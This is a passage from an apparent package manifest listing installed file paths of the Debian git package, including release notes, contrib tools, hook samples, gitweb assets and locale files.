"/usr/share/doc/git/RelNotes/1.6.4.4.txt", "/usr/share/doc/git/RelNotes/1.6.4.5.txt", "/usr/share/doc/git/RelNotes/1.6.4.txt", "/usr/share/doc/git/RelNotes/1.6.5.1.txt", "/usr/share/doc/git/RelNotes/1.6.5.2.txt", "/usr/share/doc/git/RelNotes/1.6.5.3.txt", "/usr/share/doc/git/RelNotes/1.6.5.4.txt", "/usr/share/doc/git/RelNotes/1.6.5.5.txt", "/usr/share/doc/git/RelNotes/1.6.5.6.txt", "/usr/share/doc/git/RelNotes/1.6.5.7.txt", "/usr/share/doc/git/RelNotes/1.6.5.8.txt", "/usr/share/doc/git/RelNotes/1.6.5.9.txt", "/usr/share/doc/git/RelNotes/1.6.5.txt", "/usr/share/doc/git/RelNotes/1.6.6.1.txt", "/usr/share/doc/git/RelNotes/1.6.6.2.txt", "/usr/share/doc/git/RelNotes/1.6.6.3.txt", "/usr/share/doc/git/RelNotes/1.6.6.txt", "/usr/share/doc/git/RelNotes/1.7.0.1.txt", "/usr/share/doc/git/RelNotes/1.7.0.2.txt", "/usr/share/doc/git/RelNotes/1.7.0.3.txt", "/usr/share/doc/git/RelNotes/1.7.0.4.txt", "/usr/share/doc/git/RelNotes/1.7.0.5.txt", "/usr/share/doc/git/RelNotes/1.7.0.6.txt", "/usr/share/doc/git/RelNotes/1.7.0.7.txt", "/usr/share/doc/git/RelNotes/1.7.0.8.txt", "/usr/share/doc/git/RelNotes/1.7.0.9.txt", "/usr/share/doc/git/RelNotes/1.7.0.txt", "/usr/share/doc/git/RelNotes/1.7.1.1.txt", "/usr/share/doc/git/RelNotes/1.7.1.2.txt", "/usr/share/doc/git/RelNotes/1.7.1.3.txt", "/usr/share/doc/git/RelNotes/1.7.1.4.txt", "/usr/share/doc/git/RelNotes/1.7.1.txt", "/usr/share/doc/git/RelNotes/1.7.10.1.txt", "/usr/share/doc/git/RelNotes/1.7.10.2.txt", "/usr/share/doc/git/RelNotes/1.7.10.3.txt", "/usr/share/doc/git/RelNotes/1.7.10.4.txt", "/usr/share/doc/git/RelNotes/1.7.10.5.txt", "/usr/share/doc/git/RelNotes/1.7.10.txt", "/usr/share/doc/git/RelNotes/1.7.11.1.txt", "/usr/share/doc/git/RelNotes/1.7.11.2.txt", "/usr/share/doc/git/RelNotes/1.7.11.3.txt", "/usr/share/doc/git/RelNotes/1.7.11.4.txt", "/usr/share/doc/git/RelNotes/1.7.11.5.txt", "/usr/share/doc/git/RelNotes/1.7.11.6.txt", "/usr/share/doc/git/RelNotes/1.7.11.7.txt", "/usr/share/doc/git/RelNotes/1.7.11.txt", "/usr/share/doc/git/RelNotes/1.7.12.1.txt", "/usr/share/doc/git/RelNotes/1.7.12.2.txt", "/usr/share/doc/git/RelNotes/1.7.12.3.txt", "/usr/share/doc/git/RelNotes/1.7.12.4.txt", "/usr/share/doc/git/RelNotes/1.7.12.txt", "/usr/share/doc/git/RelNotes/1.7.2.1.txt", "/usr/share/doc/git/RelNotes/1.7.2.2.txt", "/usr/share/doc/git/RelNotes/1.7.2.3.txt", "/usr/share/doc/git/RelNotes/1.7.2.4.txt", "/usr/share/doc/git/RelNotes/1.7.2.5.txt", "/usr/share/doc/git/RelNotes/1.7.2.txt", "/usr/share/doc/git/RelNotes/1.7.3.1.txt", "/usr/share/doc/git/RelNotes/1.7.3.2.txt", "/usr/share/doc/git/RelNotes/1.7.3.3.txt", "/usr/share/doc/git/RelNotes/1.7.3.4.txt", "/usr/share/doc/git/RelNotes/1.7.3.5.txt", "/usr/share/doc/git/RelNotes/1.7.3.txt", "/usr/share/doc/git/RelNotes/1.7.4.1.txt", "/usr/share/doc/git/RelNotes/1.7.4.2.txt", "/usr/share/doc/git/RelNotes/1.7.4.3.txt", "/usr/share/doc/git/RelNotes/1.7.4.4.txt", "/usr/share/doc/git/RelNotes/1.7.4.5.txt", "/usr/share/doc/git/RelNotes/1.7.4.txt", "/usr/share/doc/git/RelNotes/1.7.5.1.txt", "/usr/share/doc/git/RelNotes/1.7.5.2.txt", "/usr/share/doc/git/RelNotes/1.7.5.3.txt", "/usr/share/doc/git/RelNotes/1.7.5.4.txt", "/usr/share/doc/git/RelNotes/1.7.5.txt", "/usr/share/doc/git/RelNotes/1.7.6.1.txt", "/usr/share/doc/git/RelNotes/1.7.6.2.txt", "/usr/share/doc/git/RelNotes/1.7.6.3.txt", "/usr/share/doc/git/RelNotes/1.7.6.4.txt", "/usr/share/doc/git/RelNotes/1.7.6.5.txt", "/usr/share/doc/git/RelNotes/1.7.6.6.txt", "/usr/share/doc/git/RelNotes/1.7.6.txt", "/usr/share/doc/git/RelNotes/1.7.7.1.txt", "/usr/share/doc/git/RelNotes/1.7.7.2.txt", "/usr/share/doc/git/RelNotes/1.7.7.3.txt", "/usr/share/doc/git/RelNotes/1.7.7.4.txt", "/usr/share/doc/git/RelNotes/1.7.7.5.txt", "/usr/share/doc/git/RelNotes/1.7.7.6.txt", "/usr/share/doc/git/RelNotes/1.7.7.7.txt", "/usr/share/doc/git/RelNotes/1.7.7.txt", "/usr/share/doc/git/RelNotes/1.7.8.1.txt", "/usr/share/doc/git/RelNotes/1.7.8.2.txt", "/usr/share/doc/git/RelNotes/1.7.8.3.txt", "/usr/share/doc/git/RelNotes/1.7.8.4.txt", "/usr/share/doc/git/RelNotes/1.7.8.5.txt", "/usr/share/doc/git/RelNotes/1.7.8.6.txt", "/usr/share/doc/git/RelNotes/1.7.8.txt", "/usr/share/doc/git/RelNotes/1.7.9.1.txt", "/usr/share/doc/git/RelNotes/1.7.9.2.txt", "/usr/share/doc/git/RelNotes/1.7.9.3.txt", "/usr/share/doc/git/RelNotes/1.7.9.4.txt", "/usr/share/doc/git/RelNotes/1.7.9.5.txt", "/usr/share/doc/git/RelNotes/1.7.9.6.txt", "/usr/share/doc/git/RelNotes/1.7.9.7.txt", "/usr/share/doc/git/RelNotes/1.7.9.txt", "/usr/share/doc/git/RelNotes/1.8.0.1.txt", "/usr/share/doc/git/RelNotes/1.8.0.2.txt", "/usr/share/doc/git/RelNotes/1.8.0.3.txt", "/usr/share/doc/git/RelNotes/1.8.0.txt", "/usr/share/doc/git/RelNotes/1.8.1.1.txt", "/usr/share/doc/git/RelNotes/1.8.1.2.txt", "/usr/share/doc/git/RelNotes/1.8.1.3.txt", "/usr/share/doc/git/RelNotes/1.8.1.4.txt", "/usr/share/doc/git/RelNotes/1.8.1.5.txt", "/usr/share/doc/git/RelNotes/1.8.1.6.txt", "/usr/share/doc/git/RelNotes/1.8.1.txt", "/usr/share/doc/git/RelNotes/1.8.2.1.txt", "/usr/share/doc/git/RelNotes/1.8.2.2.txt", "/usr/share/doc/git/RelNotes/1.8.2.3.txt", "/usr/share/doc/git/RelNotes/1.8.2.txt", "/usr/share/doc/git/RelNotes/1.8.3.1.txt", "/usr/share/doc/git/RelNotes/1.8.3.2.txt", "/usr/share/doc/git/RelNotes/1.8.3.3.txt", "/usr/share/doc/git/RelNotes/1.8.3.4.txt", "/usr/share/doc/git/RelNotes/1.8.3.txt", "/usr/share/doc/git/RelNotes/1.8.4.1.txt", "/usr/share/doc/git/RelNotes/1.8.4.2.txt", "/usr/share/doc/git/RelNotes/1.8.4.3.txt", "/usr/share/doc/git/RelNotes/1.8.4.4.txt", "/usr/share/doc/git/RelNotes/1.8.4.5.txt", "/usr/share/doc/git/RelNotes/1.8.4.txt", "/usr/share/doc/git/RelNotes/1.8.5.1.txt", "/usr/share/doc/git/RelNotes/1.8.5.2.txt", "/usr/share/doc/git/RelNotes/1.8.5.3.txt", "/usr/share/doc/git/RelNotes/1.8.5.4.txt", "/usr/share/doc/git/RelNotes/1.8.5.5.txt", "/usr/share/doc/git/RelNotes/1.8.5.6.txt", "/usr/share/doc/git/RelNotes/1.8.5.txt", "/usr/share/doc/git/RelNotes/1.9.0.txt", "/usr/share/doc/git/RelNotes/1.9.1.txt", "/usr/share/doc/git/RelNotes/1.9.2.txt", "/usr/share/doc/git/RelNotes/1.9.3.txt", "/usr/share/doc/git/RelNotes/1.9.4.txt", "/usr/share/doc/git/RelNotes/1.9.5.txt", "/usr/share/doc/git/RelNotes/2.0.0.txt", "/usr/share/doc/git/RelNotes/2.0.1.txt", "/usr/share/doc/git/RelNotes/2.0.2.txt", "/usr/share/doc/git/RelNotes/2.0.3.txt", "/usr/share/doc/git/RelNotes/2.0.4.txt", "/usr/share/doc/git/RelNotes/2.0.5.txt", "/usr/share/doc/git/RelNotes/2.1.0.txt", "/usr/share/doc/git/RelNotes/2.1.1.txt", "/usr/share/doc/git/RelNotes/2.1.2.txt", "/usr/share/doc/git/RelNotes/2.1.3.txt", "/usr/share/doc/git/RelNotes/2.1.4.txt", "/usr/share/doc/git/RelNotes/2.10.0.txt", "/usr/share/doc/git/RelNotes/2.10.1.txt", "/usr/share/doc/git/RelNotes/2.10.2.txt", "/usr/share/doc/git/RelNotes/2.10.3.txt", "/usr/share/doc/git/RelNotes/2.10.4.txt", "/usr/share/doc/git/RelNotes/2.10.5.txt", "/usr/share/doc/git/RelNotes/2.11.0.txt", "/usr/share/doc/git/RelNotes/2.11.1.txt", "/usr/share/doc/git/RelNotes/2.11.2.txt", "/usr/share/doc/git/RelNotes/2.11.3.txt", "/usr/share/doc/git/RelNotes/2.11.4.txt", "/usr/share/doc/git/RelNotes/2.12.0.txt", "/usr/share/doc/git/RelNotes/2.12.1.txt", "/usr/share/doc/git/RelNotes/2.12.2.txt", "/usr/share/doc/git/RelNotes/2.12.3.txt", "/usr/share/doc/git/RelNotes/2.12.4.txt", "/usr/share/doc/git/RelNotes/2.12.5.txt", "/usr/share/doc/git/RelNotes/2.13.0.txt", "/usr/share/doc/git/RelNotes/2.13.1.txt", "/usr/share/doc/git/RelNotes/2.13.2.txt", "/usr/share/doc/git/RelNotes/2.13.3.txt", "/usr/share/doc/git/RelNotes/2.13.4.txt", "/usr/share/doc/git/RelNotes/2.13.5.txt", "/usr/share/doc/git/RelNotes/2.13.6.txt", "/usr/share/doc/git/RelNotes/2.13.7.txt", "/usr/share/doc/git/RelNotes/2.14.0.txt", "/usr/share/doc/git/RelNotes/2.14.1.txt", "/usr/share/doc/git/RelNotes/2.14.2.txt", "/usr/share/doc/git/RelNotes/2.14.3.txt", "/usr/share/doc/git/RelNotes/2.14.4.txt", "/usr/share/doc/git/RelNotes/2.14.5.txt", "/usr/share/doc/git/RelNotes/2.14.6.txt", "/usr/share/doc/git/RelNotes/2.15.0.txt", "/usr/share/doc/git/RelNotes/2.15.1.txt", "/usr/share/doc/git/RelNotes/2.15.2.txt", "/usr/share/doc/git/RelNotes/2.15.3.txt", "/usr/share/doc/git/RelNotes/2.15.4.txt", "/usr/share/doc/git/RelNotes/2.16.0.txt", "/usr/share/doc/git/RelNotes/2.16.1.txt", "/usr/share/doc/git/RelNotes/2.16.2.txt", "/usr/share/doc/git/RelNotes/2.16.3.txt", "/usr/share/doc/git/RelNotes/2.16.4.txt", "/usr/share/doc/git/RelNotes/2.16.5.txt", "/usr/share/doc/git/RelNotes/2.16.6.txt", "/usr/share/doc/git/RelNotes/2.17.0.txt", "/usr/share/doc/git/RelNotes/2.17.1.txt", "/usr/share/doc/git/RelNotes/2.17.2.txt", "/usr/share/doc/git/RelNotes/2.17.3.txt", "/usr/share/doc/git/RelNotes/2.17.4.txt", "/usr/share/doc/git/RelNotes/2.17.5.txt", "/usr/share/doc/git/RelNotes/2.17.6.txt", "/usr/share/doc/git/RelNotes/2.18.0.txt", "/usr/share/doc/git/RelNotes/2.18.1.txt", "/usr/share/doc/git/RelNotes/2.18.2.txt", "/usr/share/doc/git/RelNotes/2.18.3.txt", "/usr/share/doc/git/RelNotes/2.18.4.txt", "/usr/share/doc/git/RelNotes/2.18.5.txt", "/usr/share/doc/git/RelNotes/2.19.0.txt", "/usr/share/doc/git/RelNotes/2.19.1.txt", "/usr/share/doc/git/RelNotes/2.19.2.txt", "/usr/share/doc/git/RelNotes/2.19.3.txt", "/usr/share/doc/git/RelNotes/2.19.4.txt", "/usr/share/doc/git/RelNotes/2.19.5.txt", "/usr/share/doc/git/RelNotes/2.19.6.txt", "/usr/share/doc/git/RelNotes/2.2.0.txt", "/usr/share/doc/git/RelNotes/2.2.1.txt", "/usr/share/doc/git/RelNotes/2.2.2.txt", "/usr/share/doc/git/RelNotes/2.2.3.txt", "/usr/share/doc/git/RelNotes/2.20.0.txt", "/usr/share/doc/git/RelNotes/2.20.1.txt", "/usr/share/doc/git/RelNotes/2.20.2.txt", "/usr/share/doc/git/RelNotes/2.20.3.txt", "/usr/share/doc/git/RelNotes/2.20.4.txt", "/usr/share/doc/git/RelNotes/2.20.5.txt", "/usr/share/doc/git/RelNotes/2.21.0.txt", "/usr/share/doc/git/RelNotes/2.21.1.txt", "/usr/share/doc/git/RelNotes/2.21.2.txt", "/usr/share/doc/git/RelNotes/2.21.3.txt", "/usr/share/doc/git/RelNotes/2.21.4.txt", "/usr/share/doc/git/RelNotes/2.22.0.txt", "/usr/share/doc/git/RelNotes/2.22.1.txt", "/usr/share/doc/git/RelNotes/2.22.2.txt", "/usr/share/doc/git/RelNotes/2.22.3.txt", "/usr/share/doc/git/RelNotes/2.22.4.txt", "/usr/share/doc/git/RelNotes/2.22.5.txt", "/usr/share/doc/git/RelNotes/2.23.0.txt", "/usr/share/doc/git/RelNotes/2.23.1.txt", "/usr/share/doc/git/RelNotes/2.23.2.txt", "/usr/share/doc/git/RelNotes/2.23.3.txt", "/usr/share/doc/git/RelNotes/2.23.4.txt", "/usr/share/doc/git/RelNotes/2.24.0.txt", "/usr/share/doc/git/RelNotes/2.24.1.txt", "/usr/share/doc/git/RelNotes/2.24.2.txt", "/usr/share/doc/git/RelNotes/2.24.3.txt", "/usr/share/doc/git/RelNotes/2.24.4.txt", "/usr/share/doc/git/RelNotes/2.25.0.txt", "/usr/share/doc/git/RelNotes/2.25.1.txt", "/usr/share/doc/git/RelNotes/2.25.2.txt", "/usr/share/doc/git/RelNotes/2.25.3.txt", "/usr/share/doc/git/RelNotes/2.25.4.txt", "/usr/share/doc/git/RelNotes/2.25.5.txt", "/usr/share/doc/git/RelNotes/2.26.0.txt", "/usr/share/doc/git/RelNotes/2.26.1.txt", "/usr/share/doc/git/RelNotes/2.26.2.txt", "/usr/share/doc/git/RelNotes/2.26.3.txt", "/usr/share/doc/git/RelNotes/2.27.0.txt", "/usr/share/doc/git/RelNotes/2.27.1.txt", "/usr/share/doc/git/RelNotes/2.28.0.txt", "/usr/share/doc/git/RelNotes/2.28.1.txt", "/usr/share/doc/git/RelNotes/2.29.0.txt", "/usr/share/doc/git/RelNotes/2.29.1.txt", "/usr/share/doc/git/RelNotes/2.29.2.txt", "/usr/share/doc/git/RelNotes/2.29.3.txt", "/usr/share/doc/git/RelNotes/2.3.0.txt", "/usr/share/doc/git/RelNotes/2.3.1.txt", "/usr/share/doc/git/RelNotes/2.3.10.txt", "/usr/share/doc/git/RelNotes/2.3.2.txt", "/usr/share/doc/git/RelNotes/2.3.3.txt", "/usr/share/doc/git/RelNotes/2.3.4.txt", "/usr/share/doc/git/RelNotes/2.3.5.txt", "/usr/share/doc/git/RelNotes/2.3.6.txt", "/usr/share/doc/git/RelNotes/2.3.7.txt", "/usr/share/doc/git/RelNotes/2.3.8.txt", "/usr/share/doc/git/RelNotes/2.3.9.txt", "/usr/share/doc/git/RelNotes/2.30.0.txt", "/usr/share/doc/git/RelNotes/2.30.1.txt", "/usr/share/doc/git/RelNotes/2.30.2.txt", "/usr/share/doc/git/RelNotes/2.30.3.txt", "/usr/share/doc/git/RelNotes/2.30.4.txt", "/usr/share/doc/git/RelNotes/2.30.5.txt", "/usr/share/doc/git/RelNotes/2.30.6.txt", "/usr/share/doc/git/RelNotes/2.30.7.txt", "/usr/share/doc/git/RelNotes/2.30.8.txt", "/usr/share/doc/git/RelNotes/2.30.9.txt", "/usr/share/doc/git/RelNotes/2.31.0.txt", "/usr/share/doc/git/RelNotes/2.31.1.txt", "/usr/share/doc/git/RelNotes/2.31.2.txt", "/usr/share/doc/git/RelNotes/2.31.3.txt", "/usr/share/doc/git/RelNotes/2.31.4.txt", "/usr/share/doc/git/RelNotes/2.31.5.txt", "/usr/share/doc/git/RelNotes/2.31.6.txt", "/usr/share/doc/git/RelNotes/2.31.7.txt", "/usr/share/doc/git/RelNotes/2.31.8.txt", "/usr/share/doc/git/RelNotes/2.32.0.txt", "/usr/share/doc/git/RelNotes/2.32.1.txt", "/usr/share/doc/git/RelNotes/2.32.2.txt", "/usr/share/doc/git/RelNotes/2.32.3.txt", "/usr/share/doc/git/RelNotes/2.32.4.txt", "/usr/share/doc/git/RelNotes/2.32.5.txt", "/usr/share/doc/git/RelNotes/2.32.6.txt", "/usr/share/doc/git/RelNotes/2.32.7.txt", "/usr/share/doc/git/RelNotes/2.33.0.txt", "/usr/share/doc/git/RelNotes/2.33.1.txt", "/usr/share/doc/git/RelNotes/2.33.2.txt", "/usr/share/doc/git/RelNotes/2.33.3.txt", "/usr/share/doc/git/RelNotes/2.33.4.txt", "/usr/share/doc/git/RelNotes/2.33.5.txt", "/usr/share/doc/git/RelNotes/2.33.6.txt", "/usr/share/doc/git/RelNotes/2.33.7.txt", "/usr/share/doc/git/RelNotes/2.33.8.txt", "/usr/share/doc/git/RelNotes/2.34.0.txt", "/usr/share/doc/git/RelNotes/2.34.1.txt", "/usr/share/doc/git/RelNotes/2.34.2.txt", "/usr/share/doc/git/RelNotes/2.34.3.txt", "/usr/share/doc/git/RelNotes/2.34.4.txt", "/usr/share/doc/git/RelNotes/2.34.5.txt", "/usr/share/doc/git/RelNotes/2.34.6.txt", "/usr/share/doc/git/RelNotes/2.34.7.txt", "/usr/share/doc/git/RelNotes/2.34.8.txt", "/usr/share/doc/git/RelNotes/2.35.0.txt", "/usr/share/doc/git/RelNotes/2.35.1.txt", "/usr/share/doc/git/RelNotes/2.35.2.txt", "/usr/share/doc/git/RelNotes/2.35.3.txt", "/usr/share/doc/git/RelNotes/2.35.4.txt", "/usr/share/doc/git/RelNotes/2.35.5.txt", "/usr/share/doc/git/RelNotes/2.35.6.txt", "/usr/share/doc/git/RelNotes/2.35.7.txt", "/usr/share/doc/git/RelNotes/2.35.8.txt", "/usr/share/doc/git/RelNotes/2.36.0.txt", "/usr/share/doc/git/RelNotes/2.36.1.txt", "/usr/share/doc/git/RelNotes/2.36.2.txt", "/usr/share/doc/git/RelNotes/2.36.3.txt", "/usr/share/doc/git/RelNotes/2.36.4.txt", "/usr/share/doc/git/RelNotes/2.36.5.txt", "/usr/share/doc/git/RelNotes/2.36.6.txt", "/usr/share/doc/git/RelNotes/2.37.0.txt", "/usr/share/doc/git/RelNotes/2.37.1.txt", "/usr/share/doc/git/RelNotes/2.37.2.txt", "/usr/share/doc/git/RelNotes/2.37.3.txt", "/usr/share/doc/git/RelNotes/2.37.4.txt", "/usr/share/doc/git/RelNotes/2.37.5.txt", "/usr/share/doc/git/RelNotes/2.37.6.txt", "/usr/share/doc/git/RelNotes/2.37.7.txt", "/usr/share/doc/git/RelNotes/2.38.0.txt", "/usr/share/doc/git/RelNotes/2.38.1.txt", "/usr/share/doc/git/RelNotes/2.38.2.txt", "/usr/share/doc/git/RelNotes/2.38.3.txt", "/usr/share/doc/git/RelNotes/2.38.4.txt", "/usr/share/doc/git/RelNotes/2.38.5.txt", "/usr/share/doc/git/RelNotes/2.39.0.txt", "/usr/share/doc/git/RelNotes/2.39.1.txt", "/usr/share/doc/git/RelNotes/2.39.2.txt", "/usr/share/doc/git/RelNotes/2.39.3.txt", "/usr/share/doc/git/RelNotes/2.39.4.txt", "/usr/share/doc/git/RelNotes/2.39.5.txt", "/usr/share/doc/git/RelNotes/2.4.0.txt", "/usr/share/doc/git/RelNotes/2.4.1.txt", "/usr/share/doc/git/RelNotes/2.4.10.txt", "/usr/share/doc/git/RelNotes/2.4.11.txt", "/usr/share/doc/git/RelNotes/2.4.12.txt", "/usr/share/doc/git/RelNotes/2.4.2.txt", "/usr/share/doc/git/RelNotes/2.4.3.txt", "/usr/share/doc/git/RelNotes/2.4.4.txt", "/usr/share/doc/git/RelNotes/2.4.5.txt", "/usr/share/doc/git/RelNotes/2.4.6.txt", "/usr/share/doc/git/RelNotes/2.4.7.txt", "/usr/share/doc/git/RelNotes/2.4.8.txt", "/usr/share/doc/git/RelNotes/2.4.9.txt", "/usr/share/doc/git/RelNotes/2.5.0.txt", "/usr/share/doc/git/RelNotes/2.5.1.txt", "/usr/share/doc/git/RelNotes/2.5.2.txt", "/usr/share/doc/git/RelNotes/2.5.3.txt", "/usr/share/doc/git/RelNotes/2.5.4.txt", "/usr/share/doc/git/RelNotes/2.5.5.txt", "/usr/share/doc/git/RelNotes/2.5.6.txt", "/usr/share/doc/git/RelNotes/2.6.0.txt", "/usr/share/doc/git/RelNotes/2.6.1.txt", "/usr/share/doc/git/RelNotes/2.6.2.txt", "/usr/share/doc/git/RelNotes/2.6.3.txt", "/usr/share/doc/git/RelNotes/2.6.4.txt", "/usr/share/doc/git/RelNotes/2.6.5.txt", "/usr/share/doc/git/RelNotes/2.6.6.txt", "/usr/share/doc/git/RelNotes/2.6.7.txt", "/usr/share/doc/git/RelNotes/2.7.0.txt", "/usr/share/doc/git/RelNotes/2.7.1.txt", "/usr/share/doc/git/RelNotes/2.7.2.txt", "/usr/share/doc/git/RelNotes/2.7.3.txt", "/usr/share/doc/git/RelNotes/2.7.4.txt", "/usr/share/doc/git/RelNotes/2.7.5.txt", "/usr/share/doc/git/RelNotes/2.7.6.txt", "/usr/share/doc/git/RelNotes/2.8.0.txt", "/usr/share/doc/git/RelNotes/2.8.1.txt", "/usr/share/doc/git/RelNotes/2.8.2.txt", "/usr/share/doc/git/RelNotes/2.8.3.txt", "/usr/share/doc/git/RelNotes/2.8.4.txt", "/usr/share/doc/git/RelNotes/2.8.5.txt", "/usr/share/doc/git/RelNotes/2.8.6.txt", "/usr/share/doc/git/RelNotes/2.9.0.txt", "/usr/share/doc/git/RelNotes/2.9.1.txt", "/usr/share/doc/git/RelNotes/2.9.2.txt", "/usr/share/doc/git/RelNotes/2.9.3.txt", "/usr/share/doc/git/RelNotes/2.9.4.txt", "/usr/share/doc/git/RelNotes/2.9.5.txt", "/usr/share/doc/git/changelog.Debian.gz", "/usr/share/doc/git/changelog.gz", "/usr/share/doc/git/contrib/README", "/usr/share/doc/git/contrib/buildsystems/CMakeLists.txt", "/usr/share/doc/git/contrib/buildsystems/Generators.pm", "/usr/share/doc/git/contrib/buildsystems/Generators/QMake.pm", "/usr/share/doc/git/contrib/buildsystems/Generators/Vcproj.pm", "/usr/share/doc/git/contrib/buildsystems/Generators/Vcxproj.pm", "/usr/share/doc/git/contrib/buildsystems/engine.pl", "/usr/share/doc/git/contrib/buildsystems/generate", "/usr/share/doc/git/contrib/buildsystems/parse.pl", "/usr/share/doc/git/contrib/coccinelle/README", "/usr/share/doc/git/contrib/coccinelle/array.cocci", "/usr/share/doc/git/contrib/coccinelle/commit.cocci", "/usr/share/doc/git/contrib/coccinelle/equals-null.cocci", "/usr/share/doc/git/contrib/coccinelle/flex_alloc.cocci", "/usr/share/doc/git/contrib/coccinelle/free.cocci", "/usr/share/doc/git/contrib/coccinelle/hashmap.cocci", "/usr/share/doc/git/contrib/coccinelle/index-compatibility.cocci", "/usr/share/doc/git/contrib/coccinelle/index-compatibility.pending.cocci", "/usr/share/doc/git/contrib/coccinelle/object_id.cocci", "/usr/share/doc/git/contrib/coccinelle/preincr.cocci", "/usr/share/doc/git/contrib/coccinelle/qsort.cocci", "/usr/share/doc/git/contrib/coccinelle/spatchcache", "/usr/share/doc/git/contrib/coccinelle/strbuf.cocci", "/usr/share/doc/git/contrib/coccinelle/swap.cocci", "/usr/share/doc/git/contrib/coccinelle/tests/free.c", "/usr/share/doc/git/contrib/coccinelle/tests/free.res", "/usr/share/doc/git/contrib/coccinelle/tests/unused.c", "/usr/share/doc/git/contrib/coccinelle/tests/unused.res", "/usr/share/doc/git/contrib/coccinelle/the_repository.pending.cocci", "/usr/share/doc/git/contrib/coccinelle/unused.cocci", "/usr/share/doc/git/contrib/coccinelle/xcalloc.cocci", "/usr/share/doc/git/contrib/coccinelle/xopen.cocci", "/usr/share/doc/git/contrib/coccinelle/xstrdup_or_null.cocci", "/usr/share/doc/git/contrib/contacts/Makefile", "/usr/share/doc/git/contrib/contacts/git-contacts", "/usr/share/doc/git/contrib/contacts/git-contacts.txt", "/usr/share/doc/git/contrib/coverage-diff.sh", "/usr/share/doc/git/contrib/credential/gnome-keyring/Makefile", "/usr/share/doc/git/contrib/credential/gnome-keyring/git-credential-gnome-keyring.c", "/usr/share/doc/git/contrib/credential/libsecret/Makefile", "/usr/share/doc/git/contrib/credential/libsecret/git-credential-libsecret.c", "/usr/share/doc/git/contrib/credential/netrc/Makefile", "/usr/share/doc/git/contrib/credential/netrc/git-credential-netrc.perl", "/usr/share/doc/git/contrib/credential/netrc/t-git-credential-netrc.sh", "/usr/share/doc/git/contrib/credential/netrc/test.command-option-gpg", "/usr/share/doc/git/contrib/credential/netrc/test.git-config-gpg", "/usr/share/doc/git/contrib/credential/netrc/test.netrc", "/usr/share/doc/git/contrib/credential/netrc/test.pl", "/usr/share/doc/git/contrib/credential/osxkeychain/Makefile", "/usr/share/doc/git/contrib/credential/osxkeychain/git-credential-osxkeychain.c", "/usr/share/doc/git/contrib/credential/wincred/Makefile", "/usr/share/doc/git/contrib/credential/wincred/git-credential-wincred.c", "/usr/share/doc/git/contrib/diff-highlight/DiffHighlight.pm", "/usr/share/doc/git/contrib/diff-highlight/Makefile", "/usr/share/doc/git/contrib/diff-highlight/README", "/usr/share/doc/git/contrib/diff-highlight/diff-highlight.perl", "/usr/share/doc/git/contrib/diff-highlight/t/Makefile", "/usr/share/doc/git/contrib/diff-highlight/t/t9400-diff-highlight.sh", "/usr/share/doc/git/contrib/examples/README", "/usr/share/doc/git/contrib/fast-import/git-import.perl", "/usr/share/doc/git/contrib/fast-import/git-import.sh", "/usr/share/doc/git/contrib/fast-import/git-p4.README", "/usr/share/doc/git/contrib/fast-import/import-directories.perl", "/usr/share/doc/git/contrib/fast-import/import-tars.perl", "/usr/share/doc/git/contrib/fast-import/import-zips.py", "/usr/share/doc/git/contrib/git-jump/README", "/usr/share/doc/git/contrib/git-jump/git-jump", "/usr/share/doc/git/contrib/git-resurrect.sh", "/usr/share/doc/git/contrib/git-shell-commands/README", "/usr/share/doc/git/contrib/git-shell-commands/help", "/usr/share/doc/git/contrib/git-shell-commands/list", "/usr/share/doc/git/contrib/hg-to-git/hg-to-git.py", "/usr/share/doc/git/contrib/hg-to-git/hg-to-git.txt", "/usr/share/doc/git/contrib/long-running-filter/example.pl", "/usr/share/doc/git/contrib/persistent-https/Makefile", "/usr/share/doc/git/contrib/persistent-https/README", "/usr/share/doc/git/contrib/persistent-https/client.go", "/usr/share/doc/git/contrib/persistent-https/main.go", "/usr/share/doc/git/contrib/persistent-https/proxy.go", "/usr/share/doc/git/contrib/persistent-https/socket.go", "/usr/share/doc/git/contrib/remote-helpers/README", "/usr/share/doc/git/contrib/remote-helpers/git-remote-bzr", "/usr/share/doc/git/contrib/remote-helpers/git-remote-hg", "/usr/share/doc/git/contrib/remotes2config.sh", "/usr/share/doc/git/contrib/rerere-train.sh", "/usr/share/doc/git/contrib/stats/git-common-hash", "/usr/share/doc/git/contrib/stats/mailmap.pl", "/usr/share/doc/git/contrib/stats/packinfo.pl", "/usr/share/doc/git/contrib/subtree/INSTALL", "/usr/share/doc/git/contrib/subtree/Makefile", "/usr/share/doc/git/contrib/subtree/README", "/usr/share/doc/git/contrib/subtree/git-subtree", "/usr/share/doc/git/contrib/subtree/git-subtree.sh", "/usr/share/doc/git/contrib/subtree/git-subtree.txt", "/usr/share/doc/git/contrib/subtree/t/Makefile", "/usr/share/doc/git/contrib/subtree/t/t7900-subtree.sh", "/usr/share/doc/git/contrib/subtree/todo", "/usr/share/doc/git/contrib/thunderbird-patch-inline/README", "/usr/share/doc/git/contrib/thunderbird-patch-inline/appp.sh", "/usr/share/doc/git/contrib/update-unicode/README", "/usr/share/doc/git/contrib/update-unicode/update_unicode.sh", "/usr/share/doc/git/contrib/vscode/README.md", "/usr/share/doc/git/contrib/vscode/init.sh", "/usr/share/doc/git/contrib/workdir/git-new-workdir", "/usr/share/doc/git/copyright", "/usr/share/git-core/contrib/hooks/post-receive-email", "/usr/share/git-core/contrib/hooks/pre-auto-gc-battery", "/usr/share/git-core/contrib/hooks/setgitperms.perl", "/usr/share/git-core/contrib/hooks/update-paranoid", "/usr/share/git-core/templates/description", "/usr/share/git-core/templates/hooks/applypatch-msg.sample", "/usr/share/git-core/templates/hooks/commit-msg.sample", "/usr/share/git-core/templates/hooks/fsmonitor-watchman.sample", "/usr/share/git-core/templates/hooks/post-update.sample", "/usr/share/git-core/templates/hooks/pre-applypatch.sample", "/usr/share/git-core/templates/hooks/pre-commit.sample", "/usr/share/git-core/templates/hooks/pre-merge-commit.sample", "/usr/share/git-core/templates/hooks/pre-push.sample", "/usr/share/git-core/templates/hooks/pre-rebase.sample", "/usr/share/git-core/templates/hooks/pre-receive.sample", "/usr/share/git-core/templates/hooks/prepare-commit-msg.sample", "/usr/share/git-core/templates/hooks/push-to-checkout.sample", "/usr/share/git-core/templates/hooks/update.sample", "/usr/share/git-core/templates/info/exclude", "/usr/share/gitweb/gitweb.cgi", "/usr/share/gitweb/static/git-favicon.png", "/usr/share/gitweb/static/git-logo.png", "/usr/share/gitweb/static/gitweb.css", "/usr/share/gitweb/static/gitweb.js", "/usr/share/lintian/overrides/git", "/usr/share/locale/bg/LC_MESSAGES/git.mo", "/usr/share/locale/ca/LC_MESSAGES/git.mo", 